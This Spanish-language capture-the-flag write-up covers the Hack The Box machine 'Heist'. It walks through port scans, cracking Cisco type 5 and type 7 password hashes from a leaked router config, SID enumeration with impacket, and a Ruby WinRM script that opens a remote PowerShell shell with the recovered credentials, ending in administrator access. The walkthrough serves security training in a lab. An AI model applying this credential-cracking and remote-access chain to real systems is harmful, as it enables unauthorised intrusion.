This page looks best with JavaScript enabled

Hack The Box - Heist

 •  ✍️ sckull

Inicialmente se muestra un fichero en la pagina web el cual contiene credenciales cisco encriptadas, con ellas pudimos enumerar algunos usuarios con Impacket y con WinRM obtener acceso. Enumerando los archivos de la pagina inicial encontramos el hash del Adminstrador el cual crackeamos y obtuvimos acceso privilegiado.

Informacion de la Maquina

Nombre Heist box_img_maker
OS

Windows

Puntos 20
Dificultad Facil
IP 10.10.10.149
Maker

MinatoTW

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7.8, 7.2, 4.4, 5.6, 2.8],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[6, 9, 3, 7, 1],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN & NMAP

Escaneo de puertos tcp/udp con masscan y nmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@kali:~/htb/heist# masscan -p1-65535,U:1-65535 10.10.10.149 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-21 06:23:36 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49668/tcp on 10.10.10.149                                 
Discovered open port 445/tcp on 10.10.10.149                                   
Discovered open port 135/tcp on 10.10.10.149                                   
Discovered open port 5985/tcp on 10.10.10.149                                  
Discovered open port 80/tcp on 10.10.10.149

# Nmap 7.70 scan initiated Wed Aug 21 02:32:58 2019 as: nmap -sC -sV -p 49668,445,135,5985,80 -o nmap.scan 10.10.10.149
Nmap scan report for 10.10.10.149
Host is up (0.39s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 32s, deviation: 0s, median: 32s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-21 02:34:36
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 21 02:34:42 2019 -- 1 IP address (1 host up) scanned in 103.97 seconds

HTTP - PUERTO 80

Al visitar este puerto nos muestra un panel de inicio de sesion de una plataforma.

image

Iniciamos sesion como invitado (Login as guest) y nos redirige a una nueva pagina issues.php en la cual contiene un chat de un cliente que muestra los errores que tuvo con su router cisco y una lista de errores dentro de un archivo.

image

Archivo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

Encontramos dentro del archivo usuarios y contraseñas:

$1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

La primera contraseña la crackeamos con hashcat:

1
stealth1agent:$1$pdQG$o8nrSzsGXeaduXrjlvKc91

Las dos ultimas utilizamos un script que nos devuelve el valor del hash, este hash es de tipo 7 de Cisco:

image

1
2
$uperP@ssword:0242114B0E143F015F5D1E161713
Q4)sJu\Y8qz*A3?d:02375012182C1A1D751618034F36415408

SMBMAP

Ahora que tenemos usuairos y contraseñas intentamos listar sharenames, con el unico usuario con el cual nos dejó fue con el usuario hazard.

image

IMPACKET - LOOKUPSID

Utilizamos el script lookupsid.py de impacket para poder obtener los usuarios o grupo de usuarios dentro de la maquina.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
root@kali:~/htb/heist/evil-winrm# lookupsid.py hazard:stealth1agent@10.10.10.149
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

CREDENCIALES

hazard:stealth1agent
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d
chase:Q4)sJu\Y8qz*A3?d
jason:
support:

CHASE - USER

Dentro de los puertos abiertos que encontramos vemos que winrm (5985) esta abierto, utilizamos las credenciales y usuarios que encontramos para intentar logearnos mediante este puerto.

Utilizamos un script en ruby con la libreria winrm para poder ejecutar comandos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.149:5985/wsman',
  user: 'chase',
  password: 'Q4)sJu\Y8qz*A3?d',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end

Podemos ejecutar comandos en la maquina y obtenemos nuestra bandera user.txt.

image

PRIVILEGE ESCALATION

Estando dentro de la maquina buscamos archivos en los cuales pudiesen haber contraseñas, principalmente los archivos que se utilizan en la plataforma/inicio de sesion de la pagina que contiene la maquina. Encontramos que, dentro del archivo login.php hay una condicion con dos usuarios que pueden logearse: guest y admin.

login.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
	if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
		$_SESSION['admin'] = "valid";
		header('Location: issues.php'); 
	}
	else
		header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
	if( $_GET['guest'] === 'true' ) {
		$_SESSION['guest'] = "valid";
		header('Location: issues.php');
	}
}

?>

Utilizamos la paigna de md5decrypt para verificar si existe esta contraseña dentro de la pagina:

admin@support.htb:91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040
admin@support.htb:4dD!5}x/re8]FBuZ

image

Verificamos mediante samba que el usuario es administrator y, si este tiene permisos.

image

Confirmamos que es el usuario y contraseña de administrator, utilizamos nuevamente el script para winrm con las credenciales.

image

Obtenemos una shell y nuestra bandera root.txt.

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe